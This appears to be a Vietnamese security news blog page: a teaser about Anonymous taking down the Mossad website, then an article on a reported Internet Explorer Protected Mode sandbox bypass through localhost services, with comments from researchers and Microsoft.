<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMe7JvQcxUtCFlGXwEH-s5lcVOUroTMpABpefq5xDkKVr82QKdAwM1rTtEtXYiFndaTg_WNQWM6jBeYctuWaSV_Fbbm6gZD9A4Gc87tiVmW4QJ6xQquxPvM2I1Ho_uOEppcf-0DO-Huha9/s1600/Anonymous-Gaza-700x432.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="394" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMe7JvQcxUtCFlGXwEH-s5lcVOUroTMpABpefq5xDkKVr82QKdAwM1rTtEtXYiFndaTg_WNQWM6jBeYctuWaSV_Fbbm6gZD9A4Gc87tiVmW4QJ6xQquxPvM2I1Ho_uOEppcf-0DO-Huha9/s1600/Anonymous-Gaza-700x432.jpg" width="640"></a></div>
</div>

Nhóm hacker Anonymous đánh sập trang web của Cơ quan tình báo Israel

Nhóm hacker Anonymous thông báo đã đánh sập trang web chính thức của lực lượng tình báo Israel (Mossad) nhằm chống lại lực lượng quân đội...

Sandbox của IE vẫn bị phá vỡ

<div dir="ltr" style="text-align: left;" trbidi="on">
 Sau hơn 4 năm phát triển, sandbox của IE nhằm chống lại các cuộc tấn công độc hại dựa trên nền tảng web bởi các mã khai thác cách mà thường được sử dụng trong các cuộc tấn công “Watering Hole” vẫn dễ dàng bị vượt qua. Có một cách rất đơn giản để khai thác IE và dễ dàng qua mặt sandbox trong hầu hết các phiên bản của Internet Explorer. Microsoft đã thông báo rằng họ chưa có kế hoạch nào để vá lỗ hổng này. Cơ chế lợi dụng của lỗ hổng đã được đưa ra trong một blog vào thứ năm vừa qua kèm theo các gợi ý vô cùng dễ dàng cho các mã độc xâm nhập vào máy tính của người dùng. Sandbox được tích hợp sẵn trong IE và Google Chrome, rất hiệu quả để chống lại các phần mềm độc hại. Các phần mềm độc hại thường khai thác bằng 2 cách, một là xuyên thủng sandbox và hai là nhắm tới các lỗ hổng trong phần xử lý của trình duyệt. “Cơ chế xâm nhập này khiến kẻ tấn công có rất nhiều điều khiện thuận lợi để khai thác người dùng, cho phép hacker có quyền truy cập sâu hơn vào hệ thống, cao hơn mức bình thường trong IE hoặc vượt qua được cơ chế SandBox trong IE” theo Robert “Rsnake” Hansen, phó chủ tịch công ty bảo mật WhiteHat Labs. Được biết đến với tính năng “Protect Mode”, các trang web mà bạn truy cập đều được chạy trong môi trường Sandbox. Quyền truy cập của trang web này đối với chương trình khác sẽ bị hạn chế và chỉ được chạy trong trình duyệt cũng như chỉ được can thiệp vào một phần nhỏ tài nguyên hệ thống. Những cuộc tấn công chỉ có thể khai thác để tạo ra các cuộc tấn công từ chối dịch vụ hay cài đặt những đoạn mã độc để tự động gửi tin rác. Thông thường thì chúng khó có thể tồn tại và lấy được nhiều quyền truy cập đối với hệ thống nó nhắm tới. Theo nghiên cứu của HP, tìm ra một cách dễ dàng để biến những mã tấn công thành những tiến trình có “mức độ tin cậy trung bình” được cấp cho người dùng Windows. Phương pháp tấn công trên được chứng minh lần đầu tiên bởi các nhà nghiên cứu đến từ Verizon năm 2010, khi mà IE 7 đang được ưa chuộng để sử dụng. Các nhà nghiên cứu của công ty HP cũng đóng góp một phần khi đưa ra những bằng chứng về sự tồn tại của lỗ hổng. Phương pháp tấn công bao gồm việc thiết lập một trang web giả mạo thực hiện những công việc đáng tin cậy và khai thác lỗ hổng tại địa chỉ localhost của máy tính vốn được sử dụng để giao tiếp với những dịch vụ trong hệ thống. Bằng cách này, mã độc được thực thi với “mức độ tin cậy trung bình” và không phải đi qua sandbox. Cách tấn công này hoạt động trên hầu hết các trình duyệt IE trừ IE 11 trên Windows 8.1 do có tính năng Enhanced Protected Mode. Mặc định, tính năng bảo vệ Enhanced Protected Mode chống lại các xâm nhập được kích hoạt sẵn khi người dùng khởi chạy Internet Explorer 10 và 11 ở giao diện Modern UI. Nhưng với giao diện Desktop Mode, bạn sẽ phải tự mình kích hoạt tính năng này. Microsoft không cho rằng đó là lỗ hổng bảo mật đối với tính năng Protected Mode. Protected Mode là một tínhnăng bảo vệ tích hợp sâu được giới thiệu từ Internet Explorer 7 năm 2006 và được phát triển thành Enhanced Protected Mode năm 2012. Enhanced Protected Mode là một tính năng mới trong Internet Explorer 11, chạy trên Windows 8.1, hoàn toàn xử lý được vấn đề trên. Phương pháp tấn công này không thể dùng để làm hại khả năng bảo mật của người dùng. Một vài nghiên cứu khác HD Moore, trưởng nhóm nghiên cứu tại Rapid7 cho rằng những nhà quản trị mạng nên chịu trách nhiệm trong việc hướng người dùng đến những trình duyệt web bảo mật hơn như Chrome, và tìm kiếm một cách thức bảo vệ sandbox khác cho những ai buộc phải dùng Internet Explorer. Những phần mềm sandbox của bên thứ 3 như Sandboxie và Invincea là những ứng cử viên sang giá. “Kích hoạt những tiến trình có “mức độ tin cậy trung bình” là một vấn đề rất nghiêm trọng trong 4 vấn đề chính gặp phải của Internet Explorer. Bạn không cần thiết phải yêu cầu một API (giao diện lập trình ứng dụng) để bảo vệ hay phải đối mặt với những lỗ hổng bảo mật này. Đơn giản hãy chuyển qua những cách khác liên quan đến JavaScript, Page reload …vv nhà nghiên cứu công ty HP cho biết.</div>

Sandbox của IE vẫn bị phá vỡ

Sau hơn 4 năm phát triển, sandbox của IE nhằm chống lại các cuộc tấn công độc hại dựa trên nền tảng web bởi các mã khai thác cách mà thường...